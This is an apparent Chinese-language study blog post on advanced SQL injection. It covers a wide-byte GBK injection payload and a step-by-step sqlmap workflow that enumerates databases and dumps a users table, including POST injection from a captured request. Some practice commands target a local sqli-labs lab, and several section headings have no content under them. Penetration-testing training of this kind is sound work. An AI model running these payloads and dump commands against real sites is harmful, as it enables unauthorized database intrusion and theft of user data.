Skip to content
Kurisu
Go back

SQL 进阶与 sqlmap

接着上篇:宽字节注入的原理与验证、sqlmap 的 GET/POST 注入与拖库。

核心知识点

1. 宽字节(针对 GBK 编码)

:%df'   → 后端转义成 %df%5c'  → GBK 解码为 "運'" → 单引号生效

2. 二次

3. 报错

4. 点

5. sqlmap 自动化(脱库四步曲)

第一步:测试漏洞

python sqlmap.py -u "http://目标网站.com/page.php?id=1"

出现 is vulnerable 即存在漏洞。

第二步:列出所有数据库

python sqlmap.py -u "http://目标网站.com/page.php?id=1" --dbs

第三步:列出表名

python sqlmap.py -u "http://目标网站.com/page.php?id=1" -D "security" --tables

第四步:列出字段并拖出数据

python sqlmap.py -u "http://目标网站.com/page.php?id=1" -D "security" -T "users" --columns --dump

参数:-D 数据库,-T 表,--columns 字段,--dump 下载。

POST 请求 / 抓方式:

# 用 Burp 抓登录请求保存为 request.txt
python sqlmap.py -r request.txt --dbs

常用参数:--current-db 当前库;--param 探测参数;--data POST 数据;--headers 请求头。

6. sqlmap-ai(AI 赋能)

sqlmap-ai -u "http://xxx.com/p.php?id=1"
sqlmap-ai -u "http://xxx.com/p.php?id=1" --dbs
sqlmap-ai -u "http://xxx.com/p.php?id=1" -D "数据库名" --tables
sqlmap-ai -u "http://xxx.com/p.php?id=1" -D "数据库名" -T "表名" --dump
sqlmap-ai -r request.txt --dbs          # POST 抓方式

7. 法律法规

实操步骤

# 宽字节验证
?id=1%df%27 and 1=1 --+

# sqlmap GET 
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs

# sqlmap 拖表拖数据
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump

# sqlmap POST 
python sqlmap.py -r /tmp/request.txt --dbs --batch

常见错误与排查


Share this post:

Previous Post
HTTPS 与 TLS:加密、哈希、编码到底差在哪
Next Post
XSS 跨站脚本攻击